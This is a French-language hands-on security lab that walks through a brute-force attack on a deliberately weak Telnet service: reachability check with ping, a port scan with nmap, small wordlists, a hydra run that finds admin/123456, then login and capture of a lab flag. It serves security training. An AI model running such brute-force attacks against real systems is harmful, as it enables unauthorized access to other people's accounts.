Force Brute Telnet et Identifiants Faibles

LinuxBeginner
Pratiquer maintenant

Introduction

Bienvenue dans ce laboratoire pratique axé sur la sécurité des mots de passe et les attaques par force brute. De nombreuses violations de sécurité ne sont pas dues à des exploits logiciels complexes, mais à des identifiants simples, faibles ou par défaut. Une attaque par force brute est une méthode automatisée consistant à essayer de nombreuses combinaisons de noms d'utilisateur et de mots de passe jusqu'à ce que la bonne soit trouvée.

Dans ce laboratoire, vous simulerez une attaque sur un système doté d'un service Telnet vulnérable protégé par un mot de passe faible. Vous utiliserez des outils standards de test d'intrusion pour effectuer la reconnaissance, préparer l'attaque et l'exécuter. Vous commencerez par vérifier la connectivité, scanner la cible avec nmap, puis utiliser hydra, un outil populaire de craquage de mots de passe, pour découvrir les identifiants de connexion. Enfin, vous utiliserez les identifiants découverts pour accéder au système et capturer un drapeau (flag).

Une fois terminé, vous comprendrez comment :

  • Vérifier la connectivité réseau à l'aide de ping.
  • Utiliser nmap pour confirmer qu'un service spécifique est en cours d'exécution.
  • Créer des listes de mots (wordlists) pour une attaque par force brute.
  • Utiliser hydra pour effectuer une attaque par force brute contre un service Telnet.
  • Accéder à un système à l'aide d'identifiants compromis.

Commençons.

Vérifier la Connectivité à la Cible avec Ping

Dans cette étape, vous commencerez par confirmer que votre machine d'attaque peut communiquer avec le système cible. La commande ping est un outil de diagnostic réseau de base qui envoie une requête à un hôte cible et attend une réponse, confirmant ainsi sa joignabilité.

Votre environnement comprend un système cible accessible avec le nom d'hôte target. Pour vous assurer qu'il est en ligne et réactif, exécutez la commande suivante dans votre terminal. L'option -c 4 indique à ping d'envoyer exactement quatre paquets.

ping -c 4 target

Vous devriez voir une réponse similaire à celle ci-dessous. Cela confirme que la cible est en ligne et que votre connexion réseau est stable. L'adresse IP et les temps de réponse peuvent légèrement varier.

PING target (172.17.0.2) 56(84) bytes of data.
64 bytes from target (172.17.0.2): icmp_seq=1 ttl=64 time=0.086 ms
64 bytes from target (172.17.0.2): icmp_seq=2 ttl=64 time=0.064 ms
64 bytes from target (172.17.0.2): icmp_seq=3 ttl=64 time=0.063 ms
64 bytes from target (172.17.0.2): icmp_seq=4 ttl=64 time=0.064 ms

--- target ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3069ms
rtt min/avg/max/mdev = 0.063/0.069/0.086/0.010 ms

La connectivité étant confirmée, vous êtes prêt à passer au scan de la cible.

Scanner les Ports Ouverts avec Nmap

Dans cette étape, vous utiliserez nmap pour scanner la cible à la recherche de ports ouverts et de services en cours d'exécution. C'est une partie essentielle de la reconnaissance, car elle aide à identifier les points d'entrée potentiels. Nous suspectons qu'un service Telnet est en cours d'exécution, qui utilise généralement le port 23.

Pour confirmer cela, effectuez un scan nmap ciblé. L'option -p 23 concentre le scan spécifiquement sur le port Telnet.

Exécutez la commande suivante dans votre terminal :

nmap -p 23 target

La sortie affichera l'état du port spécifié. Vous devriez voir un résultat similaire à celui-ci :

Starting Nmap 7.80 ( https://nmap.org ) at 2025-09-19 14:10 CST
Nmap scan report for target (172.17.0.2)
Host is up (0.00040s latency).

PORT   STATE SERVICE
23/tcp open  telnet

Nmap done: 1 IP address (1 host up) scanned in 0.05 seconds

La sortie confirme que le port 23/tcp est open (ouvert) et exécute un service telnet. C'est le service que nous ciblerons à l'étape suivante.

Se Connecter à la Cible via Telnet avec Brute Force

Dans cette étape, vous allez effectuer une attaque par force brute contre le service Telnet en utilisant hydra. Comme nous ne connaissons pas le mot de passe, nous allons fournir à hydra des listes d'utilisateurs et de mots de passe potentiels à essayer automatiquement.

Tout d'abord, créez deux listes de mots simples. Une pour les noms d'utilisateur (users.txt) et une pour les mots de passe (pass.txt). Nous inclurons des candidats courants et probables.

Créez la liste des noms d'utilisateur :

echo -e "admin\nuser\nroot" > users.txt

Créez la liste des mots de passe :

echo -e "password\nadmin\n123456" > pass.txt

Maintenant, utilisez hydra pour lancer l'attaque. L'option -L spécifie la liste d'utilisateurs, -P spécifie la liste de mots de passe, et telnet://target définit le protocole et l'hôte à attaquer.

hydra -L users.txt -P pass.txt telnet://target

hydra tentera maintenant de se connecter avec chaque combinaison de nom d'utilisateur et de mot de passe de vos listes. Après quelques instants, il trouvera les identifiants corrects et les affichera.

Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-09-19 14:11:54
[WARNING] telnet is by its nature unreliable to analyze, if possible better choose FTP, SSH, etc. if available
[DATA] max 9 tasks per 1 server, overall 9 tasks, 9 login tries (l:3/p:3), ~1 try per task
[DATA] attacking telnet://target:23/
[23][telnet] host: target   login: admin   password: 123456
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-09-19 14:11:57

La sortie montre clairement qu'un identifiant valide a été trouvé : nom d'utilisateur admin avec le mot de passe 123456.

Explorer le Système Cible et Localiser le Flag

Dans cette étape, vous utiliserez les identifiants découverts par hydra pour vous connecter au système cible et trouver le drapeau (flag). C'est la phase finale de l'attaque, où vous atteignez votre objectif.

Connectez-vous à la cible en utilisant le client telnet :

telnet target

Le système vous demandera un nom d'utilisateur (login). Entrez admin et appuyez sur Entrée. Ensuite, lorsqu'il vous demandera le mot de passe, entrez 123456 et appuyez sur Entrée.

Trying 172.17.0.2...
Connected to target.
Escape character is '^]'.

Linux 5.15.0-56-generic (target) (pts/0)

target login: admin
Password:

Après une connexion réussie, vous verrez une invite de commande (shell prompt). Vous êtes maintenant à l'intérieur du système cible.

Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-56-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Fri Sep 19 06:11:55 UTC 2025 from 172.17.0.1 on pts/0
admin@target:~$

Maintenant, listez le contenu du répertoire courant (/home/admin) pour trouver le drapeau (flag).

ls -la

Vous verrez le fichier flag.txt dans la liste.

admin@target:~$ ls -la
total 28
drwxr-xr-x 3 admin admin 4096 Sep 19 06:11 .
drwxr-xr-x 1 root  root  4096 Sep 19 06:08 ..
-rw-r--r-- 1 admin admin  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 admin admin 3771 Feb 25  2020 .bashrc
drwx------ 2 admin admin 4096 Sep 19 06:11 .cache
-rw-r--r-- 1 admin admin  807 Feb 25  2020 .profile
-rw-r--r-- 1 admin admin   33 Sep 19 06:08 flag.txt

Enfin, utilisez la commande cat pour lire le contenu de flag.txt.

cat flag.txt

Le terminal affichera le drapeau (flag).

admin@target:~$ cat flag.txt
labex{w34k_p4ssw0rd_brut3f0rc3d}

Félicitations ! Vous avez réussi à effectuer une attaque par force brute sur le service Telnet et à capturer le drapeau (flag). Copiez la valeur du drapeau pour terminer le laboratoire. Pour quitter la session, tapez logout et appuyez sur Entrée.

Résumé

Dans ce laboratoire, vous avez réussi à exécuter une attaque par force brute contre un service Telnet. Vous avez appris une approche systématique pour compromettre un système avec des identifiants faibles.

Vous avez pratiqué comment :

  • Confirmer la joignabilité réseau avec ping.
  • Utiliser nmap pour vérifier qu'un service spécifique est actif sur un port cible.
  • Créer des listes de noms d'utilisateur et de mots de passe simples mais efficaces.
  • Employer hydra pour automatiser le processus d'essai de combinaisons de connexion et identifier les identifiants valides.
  • Utiliser les identifiants compromis pour se connecter, explorer le système cible et récupérer un drapeau (flag).

Cet exercice démontre un risque de sécurité fondamental : l'utilisation de mots de passe faibles et devinables. Il souligne également le danger d'utiliser des protocoles non chiffrés comme Telnet, qui exposent les identifiants au reniflage réseau. Les compétences que vous avez acquises sont essentielles tant pour les hackers éthiques qui testent les défenses des systèmes que pour les administrateurs système qui doivent les sécuriser.